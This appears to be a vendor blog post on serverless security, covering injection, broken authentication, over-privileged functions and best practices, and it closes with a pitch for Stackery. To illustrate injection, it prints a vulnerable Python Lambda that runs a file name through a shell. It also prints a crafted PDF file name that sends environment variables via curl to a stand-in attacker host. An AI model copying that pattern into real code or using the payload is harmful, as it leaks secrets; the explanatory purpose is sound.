What You Need to Know About Serverless Security

Developers at Airbnb, BBC, Netflix, and Nike all share something in common: They’re using serverless computing to ship new products and features faster than ever. And they represent a growing trend.

As businesses compete to quickly deliver customer value, a whopping 60% of enterprises have already adopted, or are planning to use, serverless architectures. With serverless, engineering teams can stop wasting time and money on infrastructure management — and focus on writing and publishing code.

While the advantages of serverless are compelling for both individual developers and the business at large, there are a few things to consider in your journey. Unsurprisingly, security is at the top of the list. So, if you want to do it well, you can’t treat it as an afterthought.

As with any new computing system, adopting serverless means expanding your organization’s attack surface, creating new opportunities for cybercriminals to infiltrate the business. If you don’t have a solid approach to serverless security in place, you’re putting your business at serious risk.

Now, you may be wondering, “Isn’t it the serverless provider’s responsibility to keep my builds secure?” After all, part of the rationale for going serverless is to offload the headaches involved with cloud management. It’s true the serverless provider (e.g., AWS) owns the security of the cloud components (e.g., data center, network, servers). But, you own the security of your apps. Be sure to protect against app-level attacks, such as injection, broken authentication, and others (more on cyberattacks later in this post). Here’s a visual summary of who owns what.

Source: GitHub’s Serverless Architectures Security Top 10 Guide [ALT TEXT: Serverless app security is a shared responsibility]

The good news is: Your organization’s overall security posture can actually improve with the adoption of serverless. So, let’s step through the basics. This explainer will cover the fundamentals of serverless security, equipping you with the knowledge and best practices to make the most of your code.

How to navigate security risks in event-driven architectures

Serverless computing helps developers create, refine, and deliver products at unprecedented speed and scale. A big reason why: Serverless is an event-driven architecture (versus the traditional client-server model), which decouples services and allows each to operate independently. Here’s an example of a simple event-driven architecture.

Source: Ajay Nair, Principal Product Manager (AWS Lambda) at Amazon Web Services (AWS), as shown in The New Stack Guide to Serverless Technologies [ALT TEXT: Example of an event-driven architecture]

Why security is even more important in serverless

In event-driven architectures, events trigger functions — snippets of code designed to perform a single task. These functions then kick off other actions, such as changing/storing data, returning a query or SMS text, or calling another function. The distributed, asynchronous nature of event-driven architectures gives developers more flexibility in how they work while also ensuring greater resilience for the app. The downside is, every one of these bits of code is now a potential vector of attack. Making matters even more challenging are the myriad protocols and complicated message structures that are activated when the functions ingest data from the various event sources (e.g., API calls).

Running regular scans — daily or more frequently — is the best way to spot vulnerabilities before it’s too late.

Make sure configurations meet your security needs

Another thing to watch out for is your serverless configuration settings. Your serverless provider’s out-of-the-box configurations may not align with your security standards. For example, is your cloud storage authentication set correctly? Configurations (and misconfigurations) have consequences, so don’t gloss over them. Take time to review them thoughtfully.

Share the security burden with your team

Let’s be real: Security isn’t why most developers get into the coding game. You’re probably way more interested in the build and how serverless encourages autonomy in your work. This accessibility is great in terms of catalyzing innovation and team morale, but carries additional risk.

Given the user-friendly nature of serverless, more and more developers can publish by themselves, bypassing traditional controls of architectural review and deployment by operations. But, the truth is: Not all developers will be as concerned with security, so take a team approach and make security an ongoing part of your meetings and workflows.

A look at the most common serverless security attacks

As mentioned earlier, serverless security is collaborative, not just among the engineering team, but with the serverless vendor providing the cloud infrastructure and resources. That alleviates some hassle. But, serverless architecture yields specific vulnerabilities for data. Moreover, serverless apps are generally susceptible to the same types of attacks as traditional apps.

Here’s an overview of the three most common serverless security attacks.

Injection attacks

According to leading industry practitioners and security researchers: Function event data injection attacks pose the most critical risk, earning top billing in both the OWASP Top 10 and GitHub’s Serverless Architectures Security Top 10 Guide.

As the name suggests, injection attacks occur when data from an untrusted event source gets injected into one of your app functions (e.g., database query). Any app can get hit with an injection attack. But, in serverless architectures, the number of possible event sources multiplies. Unlike web app security where inputs are limited to HTTP, serverless allows dozens of event data sources (e.g., cloud storage, database changes, IoT telemetry signals) — all of which cybercriminals can manipulate to their advantage. The situation is even more complex when you consider that each of these data sources comes with its own set of parameters and message formats.

Fittingly, injection attacks come in many forms, from OS commands to SQL to server-side request forgery. The impact of injection attacks depends on the purpose of the compromised function. Let’s review the example provided in the GitHub’s Serverless Architectures Security Top 10 Guide: a job candidate CV filtering system.

The system is designed to:

1. Receive emails with CVs attached as PDF files.
2. Transform PDF files into text to perform text analytics using a command-line utility (pdftotext). See below:

def index(event, context): for record in event['Records']: sns_message = json.loads(record['Sns']['Message']) raw_email = sns_message['content'] parser = email.message_from_string(raw_email) if parser.is_multipart(): for email_msg in parser.get_payload(): file_name = email_msg.get_filename() if not file_name: continue if not file_name.endswith('.pdf'): continue # export pdf attachment to /tmp pdf_file_path = os.path.join('/tmp', file_name) with open(pdf_file_path, "wb") as pdf_file: pdf_file.write(email_msg.get_payload(decode=True)) # extract text from pdf file cmd = "/var/task/lib/pdftotext {} -".format(pdf_file_path) pdf_content = subprocess.check_output(cmd, shell=True)

How an injection attack could affect the system:

1. A threat actor injects a shell command as part of the PDF file name. See below:

foobar;env|curl -H "Content-Type: text/plain" -X POST -d @- http://attacker.site/collector #.pdf

1. The PDF file name leaks all environment variables of the currently executing function.

What went wrong:

The system didn’t perform sufficient checks to validate incoming data. It only verified the file extension was .pdf, but failed to check the file name itself. This allowed the threat actor to inject shell commands in the PDF file name.

Broken authentication attacks

Following event data injection attacks, next on the OWASP and GitHub lists, in descending risk, is broken authentication.

Your friend’s hijacked social media account. Your credit card info stolen via your coffee shop’s free Wi-Fi. We all know what broken authentication looks like from a consumer standpoint. At best, it sucks. At worst, it can be massively stressful, time-consuming, and even costly.

When cyberattackers compromise passwords, keys, or session tokens — essentially impersonating valid users — they can weasel into high-value assets like confidential data and admin privileges. And, the consequences for the business can be detrimental.

Organizations are particularly susceptible to broken authentication attacks in serverless apps. Since functions by design are independent, solely focused on their one task, there’s no collective, big-picture awareness. This distributed framework makes it easier for attackers to swoop in on forgotten resources like public APIs.

By using managed authentication services (e.g., Amazon Cognito) and built-in API authorizers (e.g., AWS API Gateway HTTP APIs), you can spend time working on your app instead of worrying about whether your system is vulnerable to attack.

Permission exploitation attacks

Another type of widespread serverless attack is permission exploitation. It’s what can happen when there’s one generic permission level for the entire system — versus specifying varying permission levels per function.

From a developer’s velocity-minded standpoint, it’s easy to see why setting individual permissions for hundreds of functions isn’t exactly a fun use of time. But, if a function is over-privileged (i.e., given more privileges than required to perform its task), a threat actor can use it to wriggle into other serverless resources. And, the business ramifications can be quite painful.

Time and again, companies find themselves unwittingly making headlines due to data breaches that could’ve been avoided with better identity and access management (IAM). For example, last year, Capital One was hit with a permission exploitation attack that exposed more than 100 million credit card applications and 140,000 social security numbers. The hacker took advantage of a system vulnerability to gain unintended access to the AWS metadata endpoint. A major IAM misconfiguration allowed her to then barge into several S3 bucket sites containing confidential customer data.

Setting up finely scoped IAM roles between resources is tedious and time-consuming, but it can save organizations from costly breaches. Do yourself a favor: Simplify the process by automating provisioning based on best practices and governance standards.

Structural serverless security advantages and disadvantages

Earlier, we looked at why serverless is gaining popularity with developers. And while the case for serverless is clear, security is also a must. The serverless design framework — a constellation of trigger-driven, single-purpose functions — makes builds go faster and apps perform better. But, its multiplicity also makes the attack surface bigger, creating new points of vulnerability. Not to mention, with serverless, data is constantly zipping between functions, sources, and APIs, which means malicious actors will try to take advantage.

We’re not going to sugarcoat it. It’s a lot to consider. So, in an attempt to simplify, here’s a quick look at what developers cite as the security advantages and disadvantages of serverless:

Up your serverless security game with these best practices

Despite the complexity of serverless security, you can take charge by leading with these best practices — which we believe should be championed by vendors and clients alike. The key is maintaining effective controls, so you have the visibility and specificity needed.

Serverless security best practice #1: Minimize privileges

As mentioned earlier, hackers often exploit permissions to finagle unwarranted access. Keep them out by following the rule of least privilege for each function — basically, setting permissions on a need-to-know basis. And because manual provisioning of IAM roles is a huge time suck, not to mention prone to human error, automation here is essential.

Function segmentation is another way to contain an attacker’s actions. By keeping functions separate from one another, it’s easier to minimize privileges for each function — limiting what threat actors can see or do.

Serverless security best practice #2: Isolate environments

Another serverless security best practice is to set up separate AWS accounts for each environment (e.g., development, staging, production). Better yet, take it one step further and separate accounts by individual team or developer. Multi-account AWS deployments optimize the segmentation of resources and access.

Serverless security best practice #3: Update, test, and improve your code

The number of security vulnerabilities rises every year — with many posing critical levels of risk. Adopt a continuous vulnerability management mindset, so you can flag dangerous flaws and prioritize their patches, update safeguards as needed, and stay ahead of attackers. As a rule of thumb, check for known vulnerabilities whenever you open a PR or prepare a deployment.

How to simplify serverless security with Stackery

With Stackery, enterprises are cutting cloud costs by up to 70% and driving a 60x faster release cycle. We can save you time and effort when it comes to automating serverless security, too. Here are a few ways we can help:

• Automating IAM permission generation using least-privileged scopes
• Generating individual IAM roles for each compute resource
• Isolating environments within and across AWS accounts
• Securing environment storage within AWS Secrets Manager for confidential data
• Ensuring confidentiality of source code and builds, with all builds occurring in your AWS account

Want to visualize the ideal serverless workflow for utmost efficiency, repeatability, and security for your whole team? Let’s talk.